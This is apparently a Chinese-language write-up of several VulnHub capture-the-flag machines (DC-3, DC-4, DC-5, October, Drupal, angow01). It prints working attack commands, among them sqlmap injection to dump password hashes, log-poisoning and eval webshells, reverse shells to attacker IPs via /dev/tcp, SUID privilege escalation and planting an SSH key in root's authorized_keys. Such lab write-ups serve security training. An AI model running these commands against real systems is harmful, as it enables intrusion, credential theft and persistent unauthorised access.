总字符数: 18.71K
代码: 1.12K, 文本: 4.63K
预计阅读时间: 25 分钟
DC-3
arp-scan
使用Kali中的arp-scan工具扫描结果如下:
nmap
探测使用nmap工具
端口扫描结果如下:
由扫描结果知开放端口只有一个: 80(http默认端口).
访问web
访问web界面如下:
对网站信息收集
打开插件Wappalyzer进行网站指纹识别如下:
从指纹识别信息中提取出的信息有:
1 内容管理系统(CMS):Joomla
Joomla*!*是使用PHP语言加上MySQL数据库所开发的软件系统.
2 操作系统:Ubuntu
3 字体脚本:Google Font API
4 Web服务器:Apache 2.4.18
5 编程语言:PHP
6 JavaScript:JQuery 1.12.4 JQuery Migrate 1.4.1
7 用户界面(UI)框架:Bootstrap
Kali中的joomscan网站扫描工具就是专门用来扫描此类网站的
perl joomscan.pl --url
http://172.16.12.151
其中joomla版本为:3.7.0
后台管理页面为:http://192.168.164.132/administrator/
用户密码破解
搜索漏洞
我们查看这个sql注入的文本文档
写的很详细,包括注入的类型和payload及使用sqlmap暴力注入
直接上sqlmap
暴库
sqlmap -u "http://192.168.164.132/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml" --risk=3 --level=5 --random-agent --dbs -p list[fullordering]
暴表
sqlmap -u "http://192.168.164.132/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml" --risk=3 --level=5 --random-agent -D joomladb --tables -p list[fullordering]
看到了user相关表
暴字段
qlmap -u "http://192.168.164.132/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml" --risk=3 --level=5 --random-agent -D joomladb -T "#__users" --columns -p list[fullordering]
暴内容
sqlmap -u "http://192.168.164.132/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml" --risk=3 --level=5 --random-agent -D joomladb -T "#__users" -C "username,password" --dump -p list[fullordering]
破解密码
将密文保存到一个文件中使用john破解,:后面的为密码
用户admin的密码为snoopy
使用admin登录web
提权
生成木马
点进去更改index.php的内容,写入木马
保存,使用weevely连接
Find查找有特殊位权限文件find / -perm -u=s -type f 2>/dev/null
查看系统内核以及系统版本
只要符合条件的都可以试一下,这里选择39772,下载
记住使用方法,kali去下载这个压缩包
靶机下载
解压zip
进入目录,继续解压exp
反弹shell,weevely有些不好使
更换为全交互终端
python3 -c 'import pty;pty.spawn("/bin/bash")'
进入这个目录,运行文件
等待大概1分钟,提权成功
查看flag
DC-4
环境搭建
下载靶场文件,使用Vbox或者VM打开即可;攻击机使用kali-2020.
信息收集
主机发现
使用Kali中的arp-scan工具扫描结果如下
端口探测
探测使用nmap工具
由扫描结果知开放端口有两个:22(SSH服务默认端口)和80(http默认端口)
目录扫描
dirsearch
访问web
访问web界面如下
网站信息收集
打开插件Wappalyzer进行网站指纹识别如下
从指纹识别信息中提取出的信息有:
1 Web服务器:Nginx 1.15.0
右键点击查看源代码未发现flag字样
从源代码中只能看见用户名/密码的提交方式为POST方式,先尝试一些常见的用户名和密码如admin:admin等登陆失败,用php万能密码登录也是失败.
用户密码破解
账号密码:admin,happy,没必要爆破,有些人的教程是爆破,很多字典里基本不会有这种词
使用账号密码登录如下
点击Commad出现如下
点击第一个选项点击run出现如下页面
继续用bp抓包看看
看样子我们可以在这里抓包更改执行我们想要执行的命令,直接反弹shell
exim4提权
发现可以使用exim4进行提权操作
查看版本号,版本为4.89
Kali中寻找提权方法
上面中最后选用的是46996.sh脚本,将此文件上传到DC-4上尽量下载到tmp目录下,记得chmod 777 46996.sh
开始提权
提权成功,查看flag文件
DC-5
渗透过程
kali扫描局域网:
1
arp-scan -l
nmap扫描开放的服务及端口:
1
nmap -sS -Pn -p- -v -P4 192.168.138.133
看到开启了80端口的web服务,访问
http://192.168.138.133
使用kali自带的目录爆破工具
dirbuster
对该ip的目录结构进行爆破:访问扫描出来的
footer.php
文件:发现每次访问,年份都会发生变化:
并且在每个页面的底部都有类似字样:
猜测对
footer.php
进行了文件包含这里使用kali自带的
wfuzz
工具,对文件包含的参数进行爆破:1
wfuzz -z file,/usr/share/wfuzz/wordlist/general/common.txt http://192.168.138.133/thankyou.php?FUZZ=/etc/passwd
-z
指定字典文件/usr/share/wfuzz/wordlist/general/common.txt
,第二个参数指定爆破的url地址和参数位置(FUZZ所在位置)通过判断返回包长度来确定正确的参数,这里尝试读取
/etc/passwd
1
http://192.168.138.133/thankyou.php?file=/etc/passwd
成功读取
可以尝试包含
access.log
日志文件:1
http://192.168.138.133/thankyou.php?file=/var/log/nginx/access.log
那我们可以采用在
access.log
注入一句话木马,然后进行包含来运行.使用蚁剑终端反弹shell:
1
bash -c 'bash -i >& /dev/tcp/192.168.138.129/7777 0>&1'
使用python将半交互式shell转换为全交互式shell:
1
python -c 'import pty;pty.spawn("/bin/bash")'
尝试使用
suid
进行提权:1
find / -perm -u=s -type f 2>/dev/null
screen
程序可能进行提权,使用searchsploit
搜索该程序相关漏洞:1
searchsploit screen 4.5.0
存在越权点,将41154.sh文件拷贝到当前目录:
1
searchsploit -m 41154.sh
将其使用蚁剑上传至靶机中,并更改权限为777:
在反弹的shell中执行该脚本文件:
1
./41154.sh
成功提权至root
october
靶场搭建
下载完导入虚拟机,然后使用默认桥接模式即可.
下载链接:https://www.vulnhub.com/entry/its-october-1,460/
如果出现IP无法分配可参考:
https://www.cnblogs.com/yichen115/p/12609048.html
信息收集
app-scan
扫描内网发现敏感IParp-scan -l
nmap
nmap -sS -Pn -v -A T4 192.168.164.130
使用namp扫描常用端口
dirsearch
扫描敏感目录
dirsearch -u http://192.168.164.130
,可以看到auth,盲猜是个登录页面,访问看一下看到需要账号密码,暂时放弃
dirsearch -u http://192.168.164.130:8080
查看8080端口有没有隐藏信息,后面在8080端口的源代码中发现了注释代码
访问这个页面,可以看到账号密码,拿这个账号密码去登录
登录进来之后查找指纹信息
使用searchsploit漏洞库搜索一下相关手册,下载这个手册
在这个手册中可以发现PHP upload protection bypass 可以通过这个方法绕过一下,我这里通过Google使用了cms中的创建文件的方法
写入代码
1 | function onstart(){ |
kali监听6666端口,并且去访问这个页面
系统提权
用某些方法将以下文件下载到KALIhttps://raw.githubusercontent.com/rebootuser/LinEnum/master/LinEnum.sh
然后用kali起一个服务,在靶场使用wget下载sh文件,并且赋予可执行权限
python3 -m http.server 8080
通过上图发现了这台机器有python3.7.使用python3.7将当前半交互Shell变为全交互python3 -c 'import pty;pty.spawn("/bin/bash")'
使用find看看root权限中的命令有没有python3.7
1 | find / -perm -u=s -type f 2>/dev/null |
用带有root权限的Python3.7去新建一个终端,那么这个终端就会带有root权限
1 | # bash -p 开启一个新shell suid的话自然是开启 root shell |
这里可以看到uid虽然是www-data的,但是euid却是root的.
linux系统中每个进程都有2个ID,分别为用户ID(uid)和有效用户ID(euid),UID一般表示进程的创建者(属于哪个用户创建),而EUID表示进程对于文件和资源的访问权限(具备等同于哪个用户的权限)
RUID, 用于在系统中标识一个用户是谁,当用户使用用户名和密码成功登录后一个UNIX系统后就唯一确定了他的RUID.
EUID, 用于系统决定用户对系统资源的访问权限,通常情况下等于RUID.
SUID,用于对外权限的开放.跟RUID及EUID是用一个用户绑定不同,它是跟文件而不是跟用户绑定.
ssh登录
思路:使用kali的ssh密钥替换掉被攻击机的密钥来实现远程登录.
kali生成密钥:
ssh-keygen -t rsa
使用python起一个web服务(将id_rsa.pub从.ssh目录复制到其他目录后,再从其他目录开启服务),
python3 -m http.server 8080
靶机使用wget下载id_rsa.pub
cp id_rsa.pub /root/.ssh/authorized_keys
- 最后在攻击机上使用root私钥进行ssh连接
drupal
靶场环境搭建:直接打开虚拟机
信息收集
app-scan
扫描内网发现敏感IParp-scan -l
nmap
nmap -sS -Pn -v -A T4 192.168.164.131
使用namp扫描常用端口
发现80端口,打开后发现需要登录,发现指纹为:drupal
攻击
msf
使用msf扫描指纹相关漏洞并且使用
设置要攻击的IP
运行,获取meterpreter
在当前目录下发现了flag1
查看文件内容
大概提示是一个优秀的cms一定会有配置文件,下面有请百度战士,搜一下drupal的项目结构
首先查看数据库配置文件,发现配置文件中有mysql账号密码
通过数据库账号密码连接到数据库查看敏感库以及表,找到后台的账号密码
发现了一个users表,查一下内容
发现密码加密,查找加密的文件(上面百度搜的时候说了scripts目录下有数据库相关脚本),发现了敏感词汇,password打开之后可以发现就是我们要找的password加密文件
重新加密一个密码替换进去,原加密密文一定记得保存,后续还要替换回去
在/vat/www下使用加密脚本用法./scripts/password-hash.sh [需要加密的明文]
使用方法还可以看这个脚本的源代码,里面有写
进入数据库后执行UPDATE users SET pass="$S$Dv1IQzDZwEol9ORsIWxj1td1f.4yv/EDQBZ/HFqF46S84tS13gSU" where uid=1;
可以发现已经被替换
使用admin和123456进入后台,各个功能点开试一下,发现了flag3打开看一下
捕获关键字
flag3的信息中提到了passwd和shadow,应该就是/etc/passwd和/etc/shadow这两个文件了,而find、perms、-exec应该是要提权才用到
/etc/passwd文件和/etc/shadow文件
所有的用户的账号和密码都在这两个文件中
/etc/passwd保存着每个用户账号.该文件只有管理员可以修改,但是对于所有的用户都可读
/etc/shadow保存着密码等信息.该文件只有系统管理员能够修改和查看,其他用户不能查看、修改.
查看/etc/passwd文件
在最后一行可以看到flag4在/home/flag4下
提示我们需要root权限,提权
find / -perm -u=s -type f 2>/dev/null
find . -exec /bin/sh \;
提权成功
到root目录下查看最终flag
登入msyql,将原来的密文替换回去
UPDATE users SET pass="$S$DvQI6Y600iNeXRIeEMF94Y6FvN8nujJcEDTCP9nS5.i38jnEKuDR" where uid=1;
可以看到已经替换回去了,剩下的权限维持自行发挥吧
angow01
如果出现IP无法分配可参考:
https://www.cnblogs.com/yichen115/p/12609048.html
arp-scan
nmap
访问80页面,测试一下基本功能点,发现这个地方有rce
http://192.168.164.133/site/busque.php?buscar=ls
写马
http://192.168.164.133/site/busque.php?buscar=echo%20%27%3C?php%20eval($_POST[%27a%27]);%27%20%3E%203.php
进去之后,反弹shellbash -c 'bash -i > /dev/tcp/192.168.164.129/443 0>&1'
此靶场只能用443反弹shell请注意
使用python3.7将当前半交互Shell变为全交互
1 | python3 -c 'import pty;pty.spawn("/bin/bash")' |
提权
Find查找有特殊位权限文件find / -perm -u=s -type f 2>/dev/null
查看系统内核以及系统版本
根据前面的系统版本和内核查找历史漏洞
可以一个个测试,这里测试了45010可以
下载45010
使用蚁剑,将这个.c文件上传到靶机的tmp目录下
使用靶机编译
使用chmod 赋予a.out权限
发现了flag